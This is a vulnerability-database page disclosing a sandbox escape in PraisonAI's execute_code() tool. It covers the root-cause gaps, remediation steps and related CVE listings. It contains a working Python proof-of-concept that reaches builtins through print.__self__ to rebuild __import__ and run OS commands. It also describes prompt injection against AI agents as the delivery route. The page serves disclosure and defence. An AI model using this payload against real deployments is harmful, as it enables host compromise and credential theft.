PraisonAI CVE-2026-47392
CRITICALSeverity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
execute_code() in praisonaiagents/tools/python_tools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print.__self__ to retrieve the real Python builtins module, from which __import__ can be extracted via vars() and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.
This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (type.__getattribute__ trampoline).
---
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - 9.9 Critical
---
Root Cause
Three independent gaps in the AST-based security validation:
Gap 1: __self__ missing from _blocked_attrs
In CPython, all built-in functions (C-level functions) have a __self__ attribute that returns the module they belong to. The built-in functions in safe_builtins (print, len, range, etc.) are the *real* CPython built-in functions, so print.__self__ returns <module 'builtins' (built-in)>.
The _blocked_attrs frozenset (line 52) does NOT include __self__. The AST check at line 74 only blocks attributes that are IN this set, so print.__self__ passes.
Gap 2: vars not blocked as callable or attribute
builtins.vars(obj) returns obj.__dict__. The function name vars is not in the AST Call blocklist (line 83: only blocks exec, eval, compile, __import__, open, input, breakpoint, setattr, delattr, dir). And vars is not in _blocked_attrs for attribute access.
So b.vars(b) (where b is the builtins module) returns builtins.__dict__ - a dict containing ALL built-in functions including __import__, exec, eval, open, etc.
Gap 3: AST Call check only catches ast.Name nodes
The dangerous-call check (line 82-88) only fires when isinstance(func, ast.Name) - i.e., bare-name calls like exec(...). It does NOT catch:
- Attribute calls:
b.exec(...)- func isast.Attribute - Subscript calls:
d["exec"](...)- func isast.Subscript
Gap 4: Runtime string construction bypasses string constant check
The string constant check (line 92-98) catches literals like "__import__", but NOT runtime concatenation like "_" + "_" + "import" + "_" + "_". The AST sees 5 separate Constant nodes ("_", "_", "import", "_", "_"), none of which contain any blocked attr as a substring.
---
Proof of Concept
from praisonaiagents.tools.python_tools import execute_code
# Exploit: 4 lines, bypasses ALL security layers
payload = """
b = print.__self__
d = b.vars(b)
key = "_" + "_" + "import" + "_" + "_"
imp = d[key]
mod = imp("os")
print(mod.popen("id").read())
"""
result = execute_code(code=payload)
print(result)
# Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True}Step-by-step bypass analysis:
| Line | AST node | Check | Result |
|---|---|---|---|
print.__self__ | Attribute(attr='__self__') | __self__ in _blocked_attrs? | NO → passes |
b.vars | Attribute(attr='vars') | vars in _blocked_attrs? | NO → passes |
b.vars(b) | Call(func=Attribute) | isinstance(func, ast.Name)? | NO → passes |
"_", "import" | Constant(value=str) | Contains blocked attr? | NO → passes |
d[key] | Subscript | Not checked | passes |
imp("os") | Call(func=Name('imp')) | imp in blocked calls? | NO → passes |
Result: Full sandbox escape → arbitrary command execution
---
Impact
An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:
- Execute arbitrary commands on the host system
- Read/write any file accessible to the process
- Exfiltrate environment variables, API keys, and credentials
- Pivot to internal networks
- Install persistent backdoors
---
Affected
- Package:
praisonaiagents(PyPI) - Affected versions: All versions through 1.6.37 (latest)
- Component:
praisonaiagents/tools/python_tools.py,_execute_code_sandboxed()function - Default configuration affected: Yes (
sandbox_mode="sandbox"is the default)
---
Remediation
Immediate fix
Add __self__ to _blocked_attrs:
_blocked_attrs = frozenset({
...,
'__self__',
# Built-in functions leak their parent module
})Additional hardening
- Block
varsin the callable blocklist - Extend the
ast.Callcheck to also catchast.Attributeandast.Subscriptfunction nodes - Add AST check for
BinOpstring concatenation that could construct blocked attr names
Fundamental recommendation
Denylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider:
- Using
isolated-vm(Node.js) or WebAssembly-based isolation - Using OS-level sandboxing (seccomp, namespaces, gVisor)
- Removing in-process code execution entirely in favor of containerized execution
AnalysisAI
Remote code execution in PraisonAI praisonaiagents <=1.6.39 and PraisonAI <=4.6.39 allows authenticated attackers to fully escape the execute_code() subprocess sandbox by leveraging print.__self__ to reach the real builtins module and reconstructing __import__ at runtime. The flaw defeats prior patches for CVE-2026-39888, CVE-2026-34938, and CVE-2026-40158, enabling arbitrary OS command execution on the host wherever agent input can be influenced via prompt injection or direct code submission. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the target deployment to expose PraisonAI's execute_code() tool to attacker-controlled input - either directly (a code-execution endpoint, IDE plugin, or chat interface that forwards user input to the tool) or indirectly via prompt injection through documents, retrieved content, or downstream agents - and to be running praisonaiagents <=1.6.39 or PraisonAI <=4.6.39 with sandbox_mode='sandbox' (the default, so most installations qualify). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | All signals point to genuine high priority. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker submits a malicious prompt, document, or tool input to a PraisonAI agent that has execute_code enabled (the default). The agent passes the attacker's Python snippet - four lines that walk print.__self__ → vars(builtins) → constructed '__import__' key → os.popen - into the subprocess sandbox, which validates it as 'safe' and executes it, returning command output to the attacker. … |
| Remediation | Vendor-released patch: upgrade praisonaiagents to 1.6.40 or later and PraisonAI to 4.6.40 or later (pip install --upgrade praisonaiagents praisonai), per GHSA-4mr5-g6f9-cfrh. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Inventory systems running PraisonAI ≤4.6.39 and praisonaiagents ≤1.6.39; restrict external access and disable code execution where feasible. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Code injection in Langflow CSV Agent node before 1.8.0. The node hardcodes allow_dangerous_code=True, enabling arbitrary
A vulnerability, that could result in Remote Code Execution (RCE), has been found in DocsGPT. Rated critical severity (C
## Abstract Trend Micro's Zero Day Initiative has identified a vulnerability affecting FlowiseAI Flowise. ## Vulnerabi
Keras Model.load_model can execute arbitrary code even with safe_mode=True by manipulating the config.json inside a .ker
Same weakness CWE-184 – Incomplete List of Disallowed Inputs
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-4mr5-g6f9-cfrh